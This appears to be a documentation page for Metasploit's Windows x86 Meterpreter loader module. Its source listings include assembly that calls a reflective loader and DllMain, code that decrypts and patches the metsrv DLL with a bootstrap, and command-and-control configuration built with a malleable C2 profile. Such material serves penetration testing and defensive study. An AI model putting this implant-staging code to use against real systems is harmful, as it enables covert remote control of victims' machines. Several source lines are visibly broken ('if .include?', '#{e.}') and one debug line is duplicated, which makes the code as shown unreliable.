Module: Msf::Payload::Windows::MeterpreterLoader
- Includes:
- Msf::Payload::Windows, ReflectiveLoader, ReflectiveDLLLoader
- Defined in:
- lib/msf/core/payload/windows/meterpreter_loader.rb
Overview
Common module stub for ARCH_X86 payloads that make use of Meterpreter.
Constant Summary
Constants included from ReflectiveDLLLoader
ReflectiveDLLLoader::EXPORT_REFLECTIVELOADER, ReflectiveDLLLoader::MIN_CUSTOM_LOADER_SIZE
Instance Method Summary collapse
- #asm_invoke_metsrv(opts = {}) ⇒ Object
- #generate_config(opts = {}) ⇒ Object
- #initialize(info = {}) ⇒ Object
- #stage_meterpreter(opts = {}) ⇒ Object
- #stage_payload(opts = {}) ⇒ Object
Methods included from ReflectiveLoader
Methods included from ReflectiveLoaderCommon
#build_reflective_loader, #datastore_reflective_loader_iv
Methods included from Msf::Payload::Windows
#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #replace_var
Methods included from PrependMigrate
#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64
Methods included from ReflectiveDLLLoader
#load_rdi_dll, #load_rdi_dll_from_data
Instance Method Details
#asm_invoke_metsrv(opts = {}) ⇒ Object
34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
# File 'lib/msf/core/payload/windows/meterpreter_loader.rb', line 34 def asm_invoke_metsrv(opts={}) asm = %Q^ ; prologue dec ebp ; 'M' pop edx ; 'Z' call $+5 ; call next instruction pop ebx ; get the current location (+7 bytes) push edx ; restore edx inc ebp ; restore ebp push ebp ; save ebp for later mov ebp, esp ; set up a new stack frame ; Invoke ReflectiveLoader() ; add the offset to ReflectiveLoader() (0x????????) add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} call ebx ; invoke ReflectiveLoader() ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} ^ unless opts[:stageless] || opts[:force_write_handle] == true asm << %Q^ mov [ebx], edi ; write the current socket/handle to the config ^ end asm << %Q^ push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ^ end |
#generate_config(opts = {}) ⇒ Object
72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 |
# File 'lib/msf/core/payload/windows/meterpreter_loader.rb', line 72 def generate_config(opts={}) ds = opts[:datastore] || datastore opts[:uuid] ||= generate_payload_uuid # Pass the malleable C2 profile through to the transport config so # that staged HTTP(S) meterpreter sessions honour the profile after # the stage is delivered. The option is only registered by HTTP(S) # stagers, so it's nil (and ignored) for other transports. opts[:c2_profile] ||= ds['MALLEABLEC2'] if .include?('MALLEABLEC2') if opts[:c2_profile] opts[:stageless] = true end # create the configuration block, which for staged connections is really simple. config_opts = { arch: opts[:uuid].arch, null_session_guid: opts[:null_session_guid] == true, exitfunk: ds[:exit_func] || ds['EXITFUNC'], expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], ext_format: 'x86.dll', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it, prefixed with an 8-byte comms handle # that the stager patches with the active socket/handle "\x00" * 8 + config.to_b end |
#initialize(info = {}) ⇒ Object
18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
# File 'lib/msf/core/payload/windows/meterpreter_loader.rb', line 18 def initialize(info = {}) super(update_info(info, 'Name' => 'Meterpreter & Configuration RDI', 'Description' => 'Inject Meterpreter & the configuration stub via RDI', 'Author' => [ 'sf', 'OJ Reeves' ], 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original [ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', }, 'Stage' => { 'Payload' => "" } )) end |
#stage_meterpreter(opts = {}) ⇒ Object
103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 |
# File 'lib/msf/core/payload/windows/meterpreter_loader.rb', line 103 def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore debug_build = ds['MeterpreterDebugBuild'] loader = nil dll_path = MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build) dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(dll_path)) begin rdi_offset = parse_pe(dll) rescue Rex::PeParsey::PeError => e elog("Failed to parse metsrv (x86) as a PE, falling back to the polymorphic loader: #{e.class}: #{e.}") rdi_offset = nil end # Prefer a site-local custom loader binary if the user has dropped one into # the meterpreter search paths (~/.msf4/user_data/meterpreter/ or # <msf>/data/meterpreter/); otherwise assemble the polymorphic reflective # loader on the fly. custom_loader_path = [ ::MetasploitPayloads.user_meterpreter_dir, ::MetasploitPayloads.msf_meterpreter_dir ].map { |dir| ::File.join(dir, 'custom_loader.x86.bin') }.find { |p| ::File.readable?(p) } use_loader = false if custom_loader_path loader = ::File.binread(custom_loader_path) validate_custom_loader!(loader, custom_loader_path) dlog("Using custom loader from #{custom_loader_path}") ::MetasploitPayloads.warn_local_path(custom_loader_path) use_loader = true end if rdi_offset.nil? && !use_loader loader = reflective_loader(iv: datastore_reflective_loader_iv(ds)) use_loader = true end asm_opts = { # when a custom/polymorphic loader is appended, it must take priority over any # ReflectiveLoader already embedded in the DLL, since that's the loader whose bytes # actually follow the DLL in the payload rdi_offset: use_loader ? dll.length : rdi_offset, length: dll.length + (loader ? loader.length : 0), # total payload length = DLL + reflective loader stageless: opts[:stageless] == true } dlog("Using custom loader from #{custom_loader_path}") if custom_loader_path dlog('Using polymorphic reflective loader') if !custom_loader_path && use_loader dlog("Loader length: #{loader.length} bytes") if use_loader dlog("DLL length: #{dll.length} bytes") dlog("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes") dlog("Configuration offset: #{asm_opts[:length]} bytes") asm = asm_invoke_metsrv(asm_opts) # generate the bootstrap asm bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if bootstrap.length > 62 raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!" end # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap dll += loader if use_loader dll end |
#stage_payload(opts = {}) ⇒ Object
68 69 70 |
# File 'lib/msf/core/payload/windows/meterpreter_loader.rb', line 68 def stage_payload(opts={}) stage_meterpreter(opts) + generate_config(opts) end |